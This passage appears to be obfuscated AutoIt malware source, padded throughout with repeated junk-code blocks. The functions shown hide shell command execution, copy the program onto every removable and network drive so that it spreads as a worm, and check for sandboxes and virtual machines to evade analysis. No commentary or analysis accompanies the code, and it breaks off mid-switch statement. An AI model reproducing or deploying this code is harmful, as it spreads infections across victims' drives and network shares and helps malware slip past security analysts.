  9342.     EndIf
  9343.     If @error Then
  9344.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9345.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9346.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9347.             Exit
  9348.         Else
  9349.         EndIf
  9350.         Return $imin
  9351.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9352.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9353.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9354.             Exit
  9355.         Else
  9356.         EndIf
  9357.     EndIf
  9358.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9359.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9360.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9361.         Exit
  9362.     Else
  9363.     EndIf
  9364.     Return $irandom
  9365.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9366.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9367.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9368.         Exit
  9369.     Else
  9370.     EndIf
  9371. EndFunc
  9372.  
  9373. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9374. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9375. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9376.     Exit
  9377. Else
  9378. EndIf
  9379. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9380. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9381. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9382.     Exit
  9383. Else
  9384. EndIf
  9385.  
  9386. Func _rundos($scommand)
  9387.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9388.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9389.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9390.         Exit
  9391.     Else
  9392.     EndIf
  9393.     Local $nresult = RunWait(@ComSpec & " /C " & $scommand, "", @SW_HIDE)
  9394.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9395.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9396.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9397.         Exit
  9398.     Else
  9399.     EndIf
  9400.     Return SetError(@error, @extended, $nresult)
  9401.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9402.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9403.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9404.         Exit
  9405.     Else
  9406.     EndIf
  9407. EndFunc
  9408.  
  9409. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9410. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9411. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9412.     Exit
  9413. Else
  9414. EndIf
  9415. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9416. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9417. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9418.     Exit
  9419. Else
  9420. EndIf
  9421.  
  9422. Func confuser()
  9423.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9424.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9425.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9426.         Exit
  9427.     Else
  9428.     EndIf
  9429.     $counter = 0
  9430.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9431.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9432.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9433.         Exit
  9434.     Else
  9435.     EndIf
  9436.     While $counter <= 6
  9437.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9438.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9439.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9440.             Exit
  9441.         Else
  9442.         EndIf
  9443.         Sleep(5000)
  9444.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9445.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9446.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9447.             Exit
  9448.         Else
  9449.         EndIf
  9450.         ShellExecute(@SystemDir & "\mshta.exe")
  9451.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9452.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9453.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9454.             Exit
  9455.         Else
  9456.         EndIf
  9457.         $counter = $counter + 1
  9458.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9459.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9460.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9461.             Exit
  9462.         Else
  9463.         EndIf
  9464.         _rundos("taskkill /IM mshta.exe")
  9465.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9466.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9467.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9468.             Exit
  9469.         Else
  9470.         EndIf
  9471.     WEnd
  9472.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9473.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9474.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9475.         Exit
  9476.     Else
  9477.     EndIf
  9478. EndFunc
  9479.  
  9480. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9481. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9482. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9483.     Exit
  9484. Else
  9485. EndIf
  9486. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9487. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9488. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9489.     Exit
  9490. Else
  9491. EndIf
  9492.  
  9493. Func usb()
  9494.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9495.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9496.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9497.         Exit
  9498.     Else
  9499.     EndIf
  9500.     $gweg = DriveGetDrive("ALL")
  9501.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9502.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9503.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9504.         Exit
  9505.     Else
  9506.     EndIf
  9507.     If IsArray($gweg) Then
  9508.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9509.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9510.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9511.             Exit
  9512.         Else
  9513.         EndIf
  9514.         For $i = 1 To $gweg[0]
  9515.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9516.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9517.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9518.                 Exit
  9519.             Else
  9520.             EndIf
  9521.             If DriveSpaceFree($gweg[$i]) > 100 Then
  9522.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9523.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9524.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9525.                     Exit
  9526.                 Else
  9527.                 EndIf
  9528.                 FileCopy(@AutoItExe, $gweg[$i] & "\" & @ScriptName)
  9529.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9530.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9531.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9532.                     Exit
  9533.                 Else
  9534.                 EndIf
  9535.             EndIf
  9536.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9537.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9538.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9539.                 Exit
  9540.             Else
  9541.             EndIf
  9542.         Next
  9543.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9544.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9545.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9546.             Exit
  9547.         Else
  9548.         EndIf
  9549.     EndIf
  9550.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9551.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9552.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9553.         Exit
  9554.     Else
  9555.     EndIf
  9556. EndFunc
  9557.  
  9558. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9559. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9560. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9561.     Exit
  9562. Else
  9563. EndIf
  9564. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9565. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9566. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9567.     Exit
  9568. Else
  9569. EndIf
  9570.  
  9571. Func network()
  9572.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9573.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9574.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9575.         Exit
  9576.     Else
  9577.     EndIf
  9578.     $gwh = DriveGetDrive("all")
  9579.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9580.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9581.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9582.         Exit
  9583.     Else
  9584.     EndIf
  9585.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9586.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9587.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9588.         Exit
  9589.     Else
  9590.     EndIf
  9591.     If NOT @error Then
  9592.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9593.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9594.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9595.             Exit
  9596.         Else
  9597.         EndIf
  9598.         For $i = 1 To $gwh[0]
  9599.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9600.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9601.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9602.                 Exit
  9603.             Else
  9604.             EndIf
  9605.             $type = DriveGetType($gwh[$i])
  9606.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9607.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9608.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9609.                 Exit
  9610.             Else
  9611.             EndIf
  9612.             If $type = "Network" Then
  9613.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9614.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9615.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9616.                     Exit
  9617.                 Else
  9618.                 EndIf
  9619.                 If DriveSpaceFree($gwh[$i] & "\") > 10 Then
  9620.                     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9621.                     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9622.                     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9623.                         Exit
  9624.                     Else
  9625.                     EndIf
  9626.                     Sleep(10)
  9627.                     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9628.                     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9629.                     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9630.                         Exit
  9631.                     Else
  9632.                     EndIf
  9633.                     FileCopy(@AutoItExe, $gwh[$i] & "\" & @ScriptName)
  9634.                     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9635.                     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9636.                     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9637.                         Exit
  9638.                     Else
  9639.                     EndIf
  9640.                     Sleep(10)
  9641.                     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9642.                     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9643.                     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9644.                         Exit
  9645.                     Else
  9646.                     EndIf
  9647.                 EndIf
  9648.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9649.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9650.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9651.                     Exit
  9652.                 Else
  9653.                 EndIf
  9654.             EndIf
  9655.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9656.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9657.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9658.                 Exit
  9659.             Else
  9660.             EndIf
  9661.         Next
  9662.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9663.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9664.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9665.             Exit
  9666.         Else
  9667.         EndIf
  9668.     EndIf
  9669.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9670.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9671.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9672.         Exit
  9673.     Else
  9674.     EndIf
  9675. EndFunc
  9676.  
  9677. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9678. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9679. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9680.     Exit
  9681. Else
  9682. EndIf
  9683. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9684. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9685. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9686.     Exit
  9687. Else
  9688. EndIf
  9689.  
  9690. Func sandbox()
  9691.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9692.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9693.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9694.         Exit
  9695.     Else
  9696.     EndIf
  9697.     If WinGetText("Program Manager") = "0" Then
  9698.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9699.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9700.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9701.             Exit
  9702.         Else
  9703.         EndIf
  9704.         Exit
  9705.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9706.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9707.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9708.             Exit
  9709.         Else
  9710.         EndIf
  9711.     Else
  9712.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9713.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9714.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9715.             Exit
  9716.         Else
  9717.         EndIf
  9718.     EndIf
  9719.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9720.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9721.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9722.         Exit
  9723.     Else
  9724.     EndIf
  9725. EndFunc
  9726.  
  9727. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9728. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9729. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9730.     Exit
  9731. Else
  9732. EndIf
  9733. $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9734. $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9735. If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9736.     Exit
  9737. Else
  9738. EndIf
  9739.  
  9740. Func vm()
  9741.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9742.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9743.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9744.         Exit
  9745.     Else
  9746.     EndIf
  9747.     Local $strcomputer = ".", $smake, $smodel, $sbiosversion, $bisvm, $svmplatform
  9748.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9749.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9750.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9751.         Exit
  9752.     Else
  9753.     EndIf
  9754.     Local $objwmiservice = ObjGet("winmgmts:\\" & $strcomputer & "\root\CIMV2")
  9755.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9756.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9757.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9758.         Exit
  9759.     Else
  9760.     EndIf
  9761.     Local $colitems = $objwmiservice.execquery("SELECT * FROM Win32_ComputerSystem")
  9762.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9763.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9764.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9765.         Exit
  9766.     Else
  9767.     EndIf
  9768.     If IsObj($colitems) Then
  9769.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9770.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9771.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9772.             Exit
  9773.         Else
  9774.         EndIf
  9775.         For $objitem In $colitems
  9776.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9777.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9778.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9779.                 Exit
  9780.             Else
  9781.             EndIf
  9782.             $smake = $objitem.manufacturer
  9783.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9784.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9785.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9786.                 Exit
  9787.             Else
  9788.             EndIf
  9789.             $smodel = $objitem.model
  9790.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9791.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9792.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9793.                 Exit
  9794.             Else
  9795.             EndIf
  9796.         Next
  9797.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9798.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9799.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9800.             Exit
  9801.         Else
  9802.         EndIf
  9803.     EndIf
  9804.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9805.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9806.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9807.         Exit
  9808.     Else
  9809.     EndIf
  9810.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9811.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9812.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9813.         Exit
  9814.     Else
  9815.     EndIf
  9816.     $colitems = $objwmiservice.execquery("SELECT * FROM Win32_BIOS", "WQL", 16 + 32)
  9817.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9818.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9819.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9820.         Exit
  9821.     Else
  9822.     EndIf
  9823.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9824.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9825.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9826.         Exit
  9827.     Else
  9828.     EndIf
  9829.     If IsObj($colitems) Then
  9830.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9831.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9832.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9833.             Exit
  9834.         Else
  9835.         EndIf
  9836.         For $objitem In $colitems
  9837.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9838.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9839.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9840.                 Exit
  9841.             Else
  9842.             EndIf
  9843.             $sbiosversion = $objitem.smbiosbiosversion
  9844.             $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9845.             $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9846.             If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9847.                 Exit
  9848.             Else
  9849.             EndIf
  9850.         Next
  9851.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9852.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9853.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9854.             Exit
  9855.         Else
  9856.         EndIf
  9857.     EndIf
  9858.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9859.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9860.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9861.         Exit
  9862.     Else
  9863.     EndIf
  9864.     $bisvm = False
  9865.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9866.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9867.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9868.         Exit
  9869.     Else
  9870.     EndIf
  9871.     $svmplatform = ""
  9872.     $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9873.     $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9874.     If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9875.         Exit
  9876.     Else
  9877.     EndIf
  9878.     If $smodel = "Virtual Machine" Then
  9879.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9880.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9881.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9882.             Exit
  9883.         Else
  9884.         EndIf
  9885.         $svmplatform = "Hyper-V"
  9886.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9887.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9888.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9889.             Exit
  9890.         Else
  9891.         EndIf
  9892.         $bisvm = True
  9893.         $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9894.         $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9895.         If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9896.             Exit
  9897.         Else
  9898.         EndIf
  9899.         Switch $sbiosversion
  9900.             Case "VRTUAL - 1000831"
  9901.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9902.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9903.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9904.                     Exit
  9905.                 Else
  9906.                 EndIf
  9907.                 $bisvm = True
  9908.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9909.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9910.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9911.                     Exit
  9912.                 Else
  9913.                 EndIf
  9914.                 $svmplatform = "Hyper-V 2008 Beta or RC0"
  9915.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9916.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9917.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9918.                     Exit
  9919.                 Else
  9920.                 EndIf
  9921.             Case "VRTUAL - 5000805", "BIOS Date: 05/05/08 20:35:56  Ver: 08.00.02"
  9922.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9923.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9924.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9925.                     Exit
  9926.                 Else
  9927.                 EndIf
  9928.                 $bisvm = True
  9929.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9930.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9931.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9932.                     Exit
  9933.                 Else
  9934.                 EndIf
  9935.                 $svmplatform = "Hyper-V 2008 RTM"
  9936.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9937.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9938.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9939.                     Exit
  9940.                 Else
  9941.                 EndIf
  9942.             Case "VRTUAL - 3000919"
  9943.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9944.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9945.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9946.                     Exit
  9947.                 Else
  9948.                 EndIf
  9949.                 $bisvm = True
  9950.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9951.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9952.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9953.                     Exit
  9954.                 Else
  9955.                 EndIf
  9956.                 $svmplatform = "Hyper-V 2008 R2"
  9957.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9958.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9959.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9960.                     Exit
  9961.                 Else
  9962.                 EndIf
  9963.             Case "A M I  - 2000622"
  9964.                 $a000a6006t00bg00t0 = "9v00GE00wd00QJ002a"
  9965.                 $7i009o00wh008b00n80x00j300hl00ma0087 = "2b00u400oD00LM00jx"
  9966.                 If $a000a6006t00bg00t0 = "a000A6006T00Bg00T0" Then
  9967.                     Exit
